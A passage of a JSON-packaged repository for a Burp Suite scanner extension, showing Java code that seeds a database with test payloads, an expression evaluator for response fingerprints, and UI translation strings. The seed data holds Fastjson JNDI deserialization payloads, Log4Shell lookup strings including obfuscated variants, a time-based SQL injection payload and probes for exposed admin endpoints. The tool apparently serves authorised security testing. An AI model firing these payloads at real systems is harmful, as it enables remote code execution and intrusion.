x$X$v$fc$L$eb$f1o$dc$88$f7$e9S$f8$D$b2$fe$_nb$5dH3$8e$cd$ac$XCl$A$c3$y$8b$M$db$86$y$h$c1$cdl$3f$b6$b2qlcS$b8$8d9$d8$ce$k$c0$ed$ecy$ec$60o$m$c7$de$c3$$B$b7$93$fd$Dw$60$84$90$9d$a7nL$b0w$I$cbg$I$fb$A$abc$XI$ba$b0$91$9d$c7n$ec$a1$u$c6$d8c$d8K$bc0$K$ec$7e$8c$S$_$82$T$e4$f7N$a2$a28$cb$s$b1$8f$a4$f4$cd$c3$b6c$3fQ$i$af$b1u8$40T$8c$90$7fD$R$k$84L$f8$3f$c4$5d8$84nB$5bG$k$87$a1$Q$e6$X0$8e$bb$d1C$c8$9f$c3$3d$a4$d7K$f8$9f$c2g1$818$a1$9e$a0$cc$ec$a1$ac$d1$b4$e0$I$ee$r$b4G$e9$dfC$f42$a5$40$910$v$e1s$S$a6$q$ik$ae$3e$e1$ff$8eK$f8$3c$d0$7d$Z$db$90$b8$W$5d$J_$90$f0$c5$G$7d$CX$7b$99$ca$c1$c8N$y_$SS$ac$d1$de$5d$u$7e$M$9c$80Y$e4$3a$N$A$A\\\"}}:\\\"xxx\\\"}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (10, 'jndi', '{\\\"@\\\\\\\\x74ype\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\",\\\"dataSourceName\\\":\\\"FUZZ\\\", \\\"autoCommit\\\":true}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (11, 'jndi', '{\\\"@type\\\":\\\"[com.sun.rowset.JdbcRowSetImpl\\\"[{,\\\"dataSourceName\\\":\\\"FUZZ\\\", \\\"autoCommit\\\":true}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (12, 'jndi', '{\\\"@type\\\":\\\"Lcom.sun.rowset.JdbcRowSetImpl;\\\",\\\"dataSourceName\\\":\\\"FUZZ\\\", \\\"autoCommit\\\":true}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (13, 'jndi', '{\\\"@type\\\":\\\"LLcom.sun.rowset.JdbcRowSetImpl;;\\\",\\\"dataSourceName\\\":\\\"FUZZ\\\", \\\"autoCommit\\\":true}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (14, 'jndi', '{\\\"@type\\\":\\\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\\\",\\\"properties\\\":{\\\"data_source\\\":\\\"FUZZ\\\"}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (15, 'jndi', '{\\\"aaa\\\":{\\\"@\\\\\\\\x74ype\\\":\\\"br.com.anteros.dbcp.AnterosDBCPConfig\\\",\\\"metricRegistry\\\":\\\"FUZZ\\\"}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (16, 'jndi', '{\\\"aaa\\\":{\\\"@\\\\\\\\x74ype\\\":\\\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\\\",\\\"properties\\\": {\\\"@\\\\\\\\x74ype\\\":\\\"java.util.Properties\\\",\\\"UserTransaction\\\":\\\"FUZZ\\\"}}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (17, 'jndi', '{\\\"aaa\\\":{\\\"@\\\\\\\\x74ype\\\":\\\"java.lang.AutoCloseable\\\",\\\"@\\\\\\\\x74ype\\\":\\\"oracle.jdbc.rowset.OracleJDBCRowSet\\\",\\\"dataSourceName\\\":\\\"FUZZ\\\",\\\"command\\\":\\\"111\\\"}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (18, 'jndi', '{\\\"aaa\\\":{\\\"@\\\\\\\\x74ype\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\"},\\\"is\\\":{\\\"@\\\\\\\\x74ype\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\",\\\"dataSourceName\\\":\\\"FUZZ\\\",\\\"autoCommit\\\":true}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (19, 'jndi', '{\\\"aaa\\\":{\\\"@\\\\\\\\x74ype\\\":\\\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\\\",\\\"jndiNames\\\":\\\"FUZZ\\\"}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (20, 'jndi', '{\\\"aaa\\\":{\\\"@\\\\\\\\x74ype\\\":\\\"org.apache.shiro.jndi.JndiObjectFactory\\\",\\\"resourceName\\\":\\\"FUZZ\\\"}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (21, 'jndi', '{\\\"aaa\\\":{\\\"@\\\\\\\\x74ype\\\":\\\"org.apache.xbean.propertyeditor.JndiConverter\\\",\\\"AsText\\\":\\\"FUZZ\\\"}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (22, 'jndi', '{\\\"aaa\\\":{\\\"@type\\\":\\\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\\\",\\\"properties\\\":{\\\"data_source\\\":\\\"FUZZ\\\"}}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (23, 'jndi', '{\\\"bbb\\\":{\\\"@\\\\\\\\x74ype\\\":\\\"Lcom.sun.rowset.JdbcRowSetImpl;\\\",\\\"dataSourceName\\\":\\\"FUZZ\\\",\\\"autoCommit\\\":true}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (24, 'jndi', '{\\\"bbb\\\":{\\\"@type\\\":\\\"Lcom.sun.rowset.JdbcRowSetImpl;\\\",\\\"dataSourceName\\\":\\\"FUZZ\\\", \\\"autoCommit\\\":true}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (25, 'jndi', '{\\\"bbbbbb\\\":{\\\"@type\\\":\\\"[com.sun.rowset.JdbcRowSetImpl\\\"[{,\\\"dataSourceName\\\":\\\"FUZZ\\\", \\\"autoCommit\\\":true}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (26, 'jndi', '{\\\"bbbbbb\\\":{\\\"@type\\\":\\\"LLcom.sun.rowset.JdbcRowSetImpl;;\\\",\\\"dataSourceName\\\":\\\"FUZZ\\\", \\\"autoCommit\\\":true}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (27, 'version', '[\\\"a\\\"]');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (34, 'version', '{\\\"@type\\\": \\\"java.lang.AutoCloseable\\\"');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (28, 'dns', 'Set[{\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"http://dayu9.FUZZ\\\"}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (29, 'dns', '{\\\"name\\\":{\\\"@type\\\":\\\"java.net.InetAddress\\\",\\\"val\\\":\\\"dayu9xiaoyu47.FUZZ\\\"}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (30, 'dns', '{\\\"a\\\":{\\\"@type\\\":\\\"java.lang.AutoCloseable\\\",\\\"@type\\\":\\\"com.alibaba.fastjson.JSONReader\\\",\\\"reader\\\":{\\\"@type\\\":\\\"jdk.nashorn.api.scripting.URLReader\\\",\\\"url\\\":\\\"http://dayu37xiaoyu68.FUZZ\\\"}}}');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (31, 'dns', '[{\\\"@type\\\": \\\"java.lang.AutoCloseable\\\",\\\"@type\\\": \\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\": \\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\": \\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\": \\\"dayu9xiaoyu68.FUZZ\\\"}}]');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (32, 'dns', '[{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\":\\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dayu9xiaoyu24ordayu40xiaoyu47.FUZZ\\\"}}]');\");\n            sqls.add(\"INSERT INTO \\\"fastjson\\\" VALUES (33, 'dns', '[{\\\"@type\\\":\\\"java.lang.Exception\\\",\\\"@type\\\":\\\"com.alibaba.fastjson.JSONException\\\",\\\"x\\\":{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dayu9.FUZZ\\\"}}},{\\\"@type\\\":\\\"java.lang.Exception\\\",\\\"@type\\\":\\\"com.alibaba.fastjson.JSONException\\\",\\\"message\\\":{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"83.FUZZ\\\"}}}]');\");\n\n            // Insert log4j data\n            sqls.add(\"INSERT INTO 'log4j' VALUES (67, 'header', 'Cookies')\");\n            sqls.add(\"INSERT INTO 'log4j' VALUES (68, 'header', 'X-Remote-Addr')\");\n            sqls.add(\"INSERT INTO 'log4j' VALUES (69, 'header', 'User-Agent')\");\n            sqls.add(\"INSERT INTO 'log4j' VALUES (70, 'domain', 'www.baidu.com')\");\n            sqls.add(\"INSERT INTO 'log4j' VALUES (71, 'domain', 'www.qq.com')\");\n            sqls.add(\"INSERT INTO 'log4j' VALUES (72, 'payload', '${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//dnslog-url/1}')\");\n            sqls.add(\"INSERT INTO 'log4j' VALUES (73, 'payload', '${jndi:ldap://dnslog-url/2}')\");\n            sqls.add(\"INSERT INTO 'log4j' VALUES (74, 'payload', '${jnd${upper:ı}:ldap://dnslog-url/3}')\");\n\n            // Insert perm data\n            sqls.add(\"INSERT INTO 'perm' VALUES (11, 'domain', 'baidu.com')\");\n            sqls.add(\"INSERT INTO 'perm' VALUES (12, 'domain', 'qq.com')\");\n            sqls.add(\"INSERT INTO 'perm' VALUES (13, 'domain', 'ww.com')\");\n            sqls.add(\"INSERT INTO 'perm' VALUES (14, 'permLowAuth', 'Cookie: vue_admin_template_token=asd; security=low')\");\n            sqls.add(\"INSERT INTO 'perm' VALUES (15, 'permNoAuth', 'Cookie')\");\n\n            // Insert route data\n            sqls.add(\"INSERT INTO 'route' VALUES (1, 1, 'Swagger UI', '/swagger-ui.html', 'code=\\\"200\\\" && (body=\\\"swagger-ui.css\\\" || body=\\\"swagger-ui.js\\\" || title=\\\"Swagger UI\\\")')\");\n            sqls.add(\"INSERT INTO 'route' VALUES (3, 1, 'Spring Actuator Env', '/actuator/env', 'code=\\\"200\\\" && (body=\\\"java.version\\\" || body=\\\"os.arch\\\")')\");\n            sqls.add(\"INSERT INTO 'route' VALUES (4, 1, 'phpinfo', '/phpinfo.php', 'code=200 && body=\\\"PHP Version\\\"')\");\n            sqls.add(\"INSERT INTO 'route' VALUES (5, 1, 'nacos', '/nacos/index.html', 'code=200 && body=\\\"codemirror.addone.fullscreen.js\\\"')\");\n            sqls.add(\"INSERT INTO 'route' VALUES (6, 1, 'druid', '/druid/login.html', 'code=200 && title=\\\"druid monitor\\\"')\");\n            sqls.add(\"INSERT INTO 'route' VALUES (7, 1, 'swagger', '/swagger/Default/swagger.json', 'code=200 && body=\\\"openapi\\\"')\");\n            sqls.add(\"INSERT INTO 'route' VALUES (20, 1, 'WSDL Service', '/services', 'code=\\\"200\\\" && (body=\\\"Available SOAP services:\\\" || body=\\\"Available Services:\\\") && body=\\\"?wsdl\\\"')\");\n            sqls.add(\"INSERT INTO 'route' VALUES (21, 1, 'Metrics', '/metrics', 'code=\\\"200\\\" && body=\\\"# HELP node_uname_info\\\" && body=\\\"# TYPE node_uname_info gauge\\\"')\");\n            sqls.add(\"INSERT INTO 'route' VALUES (22, 1, 'Swagger API Doc', '/v2/api-docs', 'code=\\\"200\\\" && (body=\\\"\\\\\\\"swagger\\\\\\\":\\\" || body=\\\"\\\\\\\"openapi\\\\\\\":\\\")')\");\n            sqls.add(\"INSERT INTO 'route' VALUES (23, 1, 'Swagger API Doc', '/api-docs', 'code=\\\"200\\\" && (body=\\\"\\\\\\\"swagger\\\\\\\":\\\" || body=\\\"\\\\\\\"openapi\\\\\\\":\\\")')\");\n            sqls.add(\"INSERT INTO 'route' VALUES (24, 1, 'Swagger', '/swagger.json', 'code=\\\"200\\\" && (body=\\\"\\\\\\\"swagger\\\\\\\":\\\" || body=\\\"\\\\\\\"swaggerVersion\\\\\\\"\\\" || body=\\\"\\\\\\\"openapi\\\\\\\":\\\")')\");\n            sqls.add(\"INSERT INTO 'route' VALUES (25, 1, 'Swagger', '/swagger-resources', 'code=\\\"200\\\" && (body=\\\"\\\\\\\"swaggerVersion\\\\\\\"\\\" || body=\\\"\\\\\\\"location\\\\\\\"\\\")')\");\n\n            // Insert sqli data\n            sqls.add(\"INSERT INTO 'sqli' VALUES (14, 'header', 'User-Agent')\");\n            sqls.add(\"INSERT INTO 'sqli' VALUES (15, 'header', 'Cookie')\");\n            sqls.add(\"INSERT INTO 'sqli' VALUES (21, 'domain', 'www.baidu.com')\");\n            sqls.add(\"INSERT INTO 'sqli' VALUES (22, 'domain', 'www.qq.com')\");\n            sqls.add(\"INSERT INTO 'sqli' VALUES (23, 'payload', '0''XOR(if(1,sleep(6),0))XOR''Z')\");\n            for (String sql : sqls) {\n                Statement statement = connection.createStatement();\n                statement.execute(sql);\n                statement.close();\n            }\n            Utils.stdout.println(\"init db success\");\n        } catch (SQLException e) {\n            System.out.println(e.getMessage());\n            Utils.stderr.println(e.getMessage());\n        }\n    }\n\n    public static void close(Connection connection, PreparedStatement preparedStatement, ResultSet resultSet) {\n        try {\n            if (connection != null) {\n                connection.close();\n            }\n            if (preparedStatement != null) {\n                preparedStatement.close();\n            }\n            if (resultSet != null) {\n                resultSet.close();\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        }\n    }\n\n}"
  },
  {
    "path": "src/main/java/burp/utils/ExpressionUtils.java",
    "content": "package burp.utils;\n\nimport burp.IHttpRequestResponse;\nimport burp.IRequestInfo;\nimport burp.IResponseInfo;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.nio.charset.StandardCharsets;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Stack;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\npublic class ExpressionUtils {\n    private IHttpRequestResponse baseRequestResponse;\n    private IResponseInfo iResponseInfo;\n\n    public ExpressionUtils() {\n    }\n\n    public ExpressionUtils(IHttpRequestResponse baseRequestResponse) {\n        this.baseRequestResponse = baseRequestResponse;\n        this.iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(this.baseRequestResponse.getResponse());\n    }\n\n    // 获取请求url\n    public String getUrl(){\n        IRequestInfo iRequestInfo = Utils.callbacks.getHelpers().analyzeRequest(this.baseRequestResponse);\n        return iRequestInfo.getUrl().toString();\n    }\n\n    // 获取响应码\n    public int getCode(){\n        return this.iResponseInfo.getStatusCode();\n    }\n\n    // 获取响应头列表\n    public List<String> getHeaders(){\n        return this.iResponseInfo.getHeaders();\n    }\n\n    // 获取响应体\n    public byte[] getBody(){\n        byte[] responseBytes = this.baseRequestResponse.getResponse();\n        int bodyOffset = this.iResponseInfo.getBodyOffset();\n        byte[] responseBody = Arrays.copyOfRange(responseBytes, bodyOffset, responseBytes.length);\n\n        // 将 responseBody 拆分成多个部分\n        List<byte[]> parts = new ArrayList<>();\n        int chunkSize = 1000; // 每个部分的大小\n        for (int i = 0; i < responseBody.length; i += chunkSize) {\n            int end = Math.min(responseBody.length, i + chunkSize);\n            byte[] part = Arrays.copyOfRange(responseBody, i, end);\n            parts.add(part);\n        }\n\n        // 拼接所有部分\n        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();\n        for (byte[] part : parts) {\n            try {\n                outputStream.write(part);\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n\n        return outputStream.toByteArray();\n    }\n\n    // 获取title\n    public String getTitle(){\n        byte[] responseBytes = this.baseRequestResponse.getResponse();\n        int bodyOffset = this.iResponseInfo.getBodyOffset();\n        byte[] responseBody = Arrays.copyOfRange(responseBytes, bodyOffset, responseBytes.length);\n        String decodedString = new String(responseBody, StandardCharsets.UTF_8);\n        String title = Utils.extractTitle(decodedString);\n        return title;\n    }\n\n    // 相等或包含关系\n    public boolean eq(String key, String value){\n        // 去除前后空格\n        key = key.trim();\n        value = value.trim();\n\n        if (key.equals(\"title\")){\n            key = getTitle();\n        }else if (key.equals(\"code\")) {\n            key = String.valueOf(getCode());\n        }else if (key.equals(\"headers\")) {\n            // 如果key在getHeaders()里面\n            for (String header : getHeaders()) {\n                if (header.contains(value)){\n                    return true;\n                }\n            }\n        }else if (key.equals(\"body\")) {\n            key = Utils.callbacks.getHelpers().bytesToString(getBody());\n        }else {\n            key = key.trim();\n        }\n\n        // 删除value两边的双引号\n        value = Utils.RemoveQuotes(value);\n\n        return key.equals(value) || key.contains(value);\n    }\n\n    // 不相等或不包含关系\n    public boolean neq(String key, String value){\n        // 去除前后空格\n        key = key.trim();\n        value = value.trim();\n\n        if (key.equals(\"title\")){\n            key = getTitle();\n        }else if (key.equals(\"code\")) {\n            key = String.valueOf(getCode());\n        }else if (key.equals(\"headers\")) {\n            // 如果key在getHeaders()里面\n            for (String header : getHeaders()) {\n                if (header.contains(value)){\n                    return false;  // 如果找到包含的值，返回false\n                }\n            }\n            return true;  // 没找到包含的值，返回true\n        }else if (key.equals(\"body\")) {\n            key = Utils.callbacks.getHelpers().bytesToString(getBody());\n        }\n\n        value = Utils.RemoveQuotes(value);\n        return !key.equals(value) && !key.contains(value);\n    }\n\n    // 处理表达式的入口方法\n    public boolean process(String expression) {\n        expression = expression.trim();\n        return evaluateExpression(expression);\n    }\n\n    // 表达式求值的核心方法\n    private boolean evaluateExpression(String expression) {\n        // 如果是简单表达式,直接处理\n        if (!isCompoundExpression(expression)) {\n            return processSingle(expression);\n        }\n\n        // 处理带括号的表达式\n        if (expression.contains(\"(\")) {\n            return handleBrackets(expression);\n        }\n\n        // 处理AND/OR运算\n        if (expression.contains(\"&&\") || expression.contains(\"||\")) {\n            return handleLogicalOperators(expression);\n        }\n\n        return processSingle(expression);\n    }\n\n    // 检查是否是复合表达式\n    private boolean isCompoundExpression(String expression) {\n        return expression.contains(\"&&\") ||\n                expression.contains(\"||\") ||\n                expression.contains(\"(\") ||\n                expression.contains(\")\");\n    }\n\n    // 处理带括号的表达式\n    private boolean handleBrackets(String expression) {\n        Stack<Integer> stack = new Stack<>();\n        int start = -1;\n\n        for (int i = 0; i < expression.length(); i++) {\n            char c = expression.charAt(i);\n            if (c == '(') {\n                if (stack.isEmpty()) {\n                    start = i;\n                }\n                stack.push(i);\n            } else if (c == ')') {\n                stack.pop();\n                if (stack.isEmpty()) {\n                    // 找到匹配的括号对\n                    String before = expression.substring(0, start).trim();\n                    String middle = expression.substring(start + 1, i).trim();\n                    String after = expression.substring(i + 1).trim();\n\n                    // 递归处理括号内的表达式\n                    boolean middleResult = evaluateExpression(middle);\n\n                    // 构造新的表达式并继续处理\n                    String newExpression;\n                    if (before.isEmpty() && after.isEmpty()) {\n                        return middleResult;\n                    } else if (before.isEmpty()) {\n                        newExpression = middleResult + \" \" + after;\n                    } else if (after.isEmpty()) {\n                        newExpression = before + \" \" + middleResult;\n                    } else {\n                        newExpression = before + \" \" + middleResult + \" \" + after;\n                    }\n                    return evaluateExpression(newExpression);\n                }\n            }\n        }\n        return false;\n    }\n\n    // 处理逻辑运算符\n    private boolean handleLogicalOperators(String expression) {\n        // 优先处理AND运算\n        if (expression.contains(\"&&\")) {\n            String[] parts = expression.split(\"&&\", 2);\n            boolean leftResult = evaluateExpression(parts[0].trim());\n            // 短路运算\n            if (!leftResult) return false;\n            return leftResult && evaluateExpression(parts[1].trim());\n        }\n\n        // 处理OR运算\n        if (expression.contains(\"||\")) {\n            String[] parts = expression.split(\"\\\\|\\\\|\", 2);\n            boolean leftResult = evaluateExpression(parts[0].trim());\n            // 短路运算\n            if (leftResult) return true;\n            return leftResult || evaluateExpression(parts[1].trim());\n        }\n\n        return processSingle(expression);\n    }\n\n    // 处理单个条件表达式\n    private boolean processSingle(String expression) {\n        expression = expression.trim();\n        if (expression.equals(\"true\")) return true;\n        if (expression.equals(\"false\")) return false;\n\n        // 使用正则表达式匹配操作符\n        Pattern pattern = Pattern.compile(\"(?<!\\\\!)=|!=\");\n        Matcher matcher = pattern.matcher(expression);\n\n        if (matcher.find()) {\n            String operator = matcher.group();\n            String[] parts = expression.split(Pattern.quote(operator), 2);\n            if (parts.length != 2) return false;\n\n            String key = parts[0].trim();\n            String value = parts[1].trim();\n\n            // 根据操作符调用相应的比较方法\n            if (operator.equals(\"=\")) {\n                return eq(key, value);\n            } else if (operator.equals(\"!=\")) {\n                return neq(key, value);\n            }\n        }\n        return false;\n    }\n}"
  },
  {
    "path": "src/main/java/burp/utils/I18nUtils.java",
    "content": "package burp.utils;\n\nimport burp.bean.ConfigBean;\nimport burp.dao.ConfigDao;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 国际化工具类\n * 用于管理插件的中英文切换功能\n */\npublic class I18nUtils {\n    // 语言类型枚举\n    public enum Language {\n        ENGLISH(\"en\"),\n        CHINESE(\"zh\");\n        \n        private final String code;\n        \n        Language(String code) {\n            this.code = code;\n        }\n        \n        public String getCode() {\n            return code;\n        }\n    }\n    \n    // 当前语言\n    private static Language currentLanguage = Language.ENGLISH;\n    \n    // 语言映射表\n    private static final Map<Language, Map<String, String>> languageMap = new HashMap<>();\n    \n    static {\n        // 初始化英文映射\n        Map<String, String> enMap = new HashMap<>();\n        // AuthUI\n        enMap.put(\"auth.button.clear\", \"Clear\");\n        enMap.put(\"auth.button.save\", \"Save\");\n        enMap.put(\"auth.label.ip\", \"IP:\");\n        \n        // SqlUI\n        enMap.put(\"sql.checkbox.passive\", \"Passive Scan\");\n        enMap.put(\"sql.checkbox.delete_original\", \"Delete Original Value\");\n        enMap.put(\"sql.checkbox.check_cookie\", \"Check Cookie\");\n        enMap.put(\"sql.checkbox.check_header\", \"Check Header\");\n        enMap.put(\"sql.checkbox.whitelist\", \"Whitelist Domain\");\n        enMap.put(\"sql.checkbox.url_encode\", \"URL Encode\");\n        enMap.put(\"sql.checkbox.boolean_blind\", \"Boolean Blind\");\n        enMap.put(\"sql.button.save_whitelist\", \"Save Whitelist\");\n        enMap.put(\"sql.button.save_header\", \"Save Headers\");\n        enMap.put(\"sql.button.refresh\", \"Refresh\");\n        enMap.put(\"sql.button.clear\", \"Clear\");\n        enMap.put(\"sql.label.whitelist\", \"Whitelist Domains\");\n        enMap.put(\"sql.label.header\", \"Header Detection List\");\n        enMap.put(\"sql.label.payload\", \"SQL Payload\");\n        enMap.put(\"sql.label.error_key\", \"SQL Error Key\");\n        enMap.put(\"sql.button.save_payload\", \"Save SQL Payload\");\n        enMap.put(\"sql.button.save_error_key\", \"Save SQL Error Key\");\n        enMap.put(\"sql.border.scan_options\", \"Scan Options\");\n        enMap.put(\"sql.border.configuration\", \"Configuration\");\n        enMap.put(\"sql.border.actions\", \"Actions\");\n        \n        // PermUI\n        enMap.put(\"perm.tab.original\", \"Original Request\");\n        enMap.put(\"perm.tab.low\", \"Low Privilege Request\");\n        enMap.put(\"perm.tab.no\", \"No Privilege Request\");\n        enMap.put(\"perm.checkbox.passive\", \"Passive Scan\");\n        enMap.put(\"perm.checkbox.whitelist\", \"Whitelist Domain\");\n        enMap.put(\"perm.button.save_whitelist\", \"Save Whitelist\");\n        enMap.put(\"perm.button.save_auth\", \"Save Auth Data\");\n        enMap.put(\"perm.button.export\", \"Export Data\");\n        enMap.put(\"perm.button.refresh\", \"Refresh\");\n        enMap.put(\"perm.button.clear\", \"Clear\");\n        enMap.put(\"perm.label.whitelist\", \"Whitelist Domains\");\n        enMap.put(\"perm.label.low_auth\", \"Low Privilege Auth Info\");\n        enMap.put(\"perm.label.no_auth\", \"No Privilege Auth Info (Headers Only)\");\n        enMap.put(\"perm.border.scan_options\", \"Scan Options\");\n        enMap.put(\"perm.border.configuration\", \"Configuration\");\n        enMap.put(\"perm.border.actions\", \"Actions\");\n        enMap.put(\"perm.message.no_data\", \"No data in table\");\n        enMap.put(\"perm.message.export_success\", \"Export successful, copied to clipboard\");\n        enMap.put(\"perm.message.fill_whitelist\", \"Please fill in the whitelist domain first\");\n        \n        // FastjsonUI\n        enMap.put(\"fastjson.button.clear\", \"Clear\");\n        enMap.put(\"fastjson.button.refresh\", \"Refresh\");\n        enMap.put(\"fastjson.checkbox.passive\", \"Enable Passive Scan\");\n        enMap.put(\"fastjson.checkbox.auto_refresh\", \"Auto Refresh\");\n        enMap.put(\"fastjson.message.enter_echo\", \"Please enter echo command\");\n        \n        // Log4jUI\n        enMap.put(\"log4j.checkbox.passive\", \"Passive Scan\");\n        enMap.put(\"log4j.checkbox.original\", \"Original Payload\");\n        enMap.put(\"log4j.checkbox.params\", \"Check Parameters\");\n        enMap.put(\"log4j.checkbox.headers\", \"Check Headers\");\n        enMap.put(\"log4j.checkbox.whitelist\", \"Whitelist Domain\");\n        enMap.put(\"log4j.checkbox.dns_ip\", \"DNS\");\n        enMap.put(\"log4j.button.save_whitelist\", \"Save Whitelist\");\n        enMap.put(\"log4j.button.save_header\", \"Save Headers\");\n        enMap.put(\"log4j.button.refresh\", \"Refresh\");\n        enMap.put(\"log4j.button.clear\", \"Clear\");\n        enMap.put(\"log4j.label.whitelist\", \"Whitelist Domains\");\n        enMap.put(\"log4j.label.header\", \"Header Detection List\");\n        enMap.put(\"log4j.label.payload\", \"Payload List\");\n        enMap.put(\"log4j.button.save_payload\", \"Save Payload\");\n        enMap.put(\"log4j.border.scan_options\", \"Scan Options\");\n        enMap.put(\"log4j.border.configuration\", \"Configuration\");\n        enMap.put(\"log4j.border.actions\", \"Actions\");\n        \n        // RouteUI\n        enMap.put(\"route.button.refresh\", \"Refresh\");\n        enMap.put(\"route.button.clear\", \"Clear\");\n        enMap.put(\"route.checkbox.passive\", \"Passive Scan\");\n        enMap.put(\"route.label.tips\", \"Add Custom Rule: \");\n        enMap.put(\"route.label.name\", \"Name:\");\n        enMap.put(\"route.label.path\", \"Path:\");\n        enMap.put(\"route.label.express\", \"Express:\");\n        enMap.put(\"route.button.add\", \"Add Rule\");\n        enMap.put(\"route.button.delete\", \"Delete Selected\");\n        enMap.put(\"route.button.enable\", \"Enable/Disable Selected\");\n        \n        // SimilarUI\n        enMap.put(\"similar.label.project\", \"Current Project: Not Selected\");\n        enMap.put(\"similar.button.scan\", \"Start Scan\");\n        enMap.put(\"similar.button.manage\", \"Project Management\");\n        enMap.put(\"similar.button.config\", \"Configure Main Domain\");\n        enMap.put(\"similar.label.domain\", \" Domain List:\");\n        enMap.put(\"similar.label.url\", \" URL List:\");\n        enMap.put(\"similar.label.stats\", \"Statistics: \");\n        enMap.put(\"similar.label.domain_cache\", \"Domain Cache\");\n        enMap.put(\"similar.label.url_cache\", \"URL Cache\");\n        enMap.put(\"similar.label.main_domain\", \"Main Domain Configuration:\");\n        enMap.put(\"similar.message.select_project\", \"Please select a project first!\");\n        enMap.put(\"similar.table.copy_domain\", \"Copy Domain\");\n        enMap.put(\"similar.table.copy_ip\", \"Copy IP\");\n        enMap.put(\"similar.table.copy_selected\", \"Copy Selected\");\n        enMap.put(\"similar.table.copy_selected_url\", \"Copy Selected URL\");\n        enMap.put(\"similar.table.copy_all_url\", \"Copy All URLs\");\n        enMap.put(\"similar.table.clear_selection\", \"Clear Selection\");\n        \n        // DomainConfigDialog\n        enMap.put(\"similar.dialog.domain_config_title\", \"Main Domain Configuration\");\n        enMap.put(\"similar.dialog.add_domain\", \"Add Domain\");\n        enMap.put(\"similar.dialog.edit_domain\", \"Edit Domain\");\n        enMap.put(\"similar.dialog.delete_domain\", \"Delete Domain\");\n        enMap.put(\"similar.dialog.save\", \"Save\");\n        enMap.put(\"similar.dialog.domain_list\", \"Main Domain List:\");\n        \n        // ProjectManageDialog\n        enMap.put(\"similar.dialog.project_manage_title\", \"Project Management\");\n        enMap.put(\"similar.dialog.add_project\", \"Add Project\");\n        enMap.put(\"similar.dialog.delete_project\", \"Delete Project\");\n        enMap.put(\"similar.dialog.select_project\", \"Select Project\");\n        \n        // FastjsonUI\n        enMap.put(\"fastjson.button.refresh\", \"Refresh\");\n        enMap.put(\"fastjson.checkbox.auto_refresh\", \"Auto Refresh\");\n        enMap.put(\"fastjson.dialog.select_type\", \"Please select type:\");\n        enMap.put(\"fastjson.dialog.tip\", \"Tip\");\n        \n        // AuthUI\n        enMap.put(\"auth.button.clear\", \"Clear\");\n        enMap.put(\"auth.label.ip\", \"IP:\");\n        enMap.put(\"auth.button.save\", \"Save\");\n        \n        // SocksUI\n        enMap.put(\"socks.button.save\", \"Save\");\n        enMap.put(\"socks.button.next\", \"Next\");\n        enMap.put(\"socks.checkbox.enable\", \"Enable Socks\");\n        enMap.put(\"socks.border.proxy_pool\", \"Proxy Pool: (example: 1.2.3.4:7890 or 1.2.3.4:7890:user:pass)\");\n        enMap.put(\"socks.border.log\", \"Log\");\n        \n        // ProjectManageDialog messages\n        enMap.put(\"similar.dialog.input_project_name\", \"Please enter project name:\");\n        enMap.put(\"similar.dialog.create_project_failed\", \"Create project failed: \");\n        enMap.put(\"similar.dialog.error\", 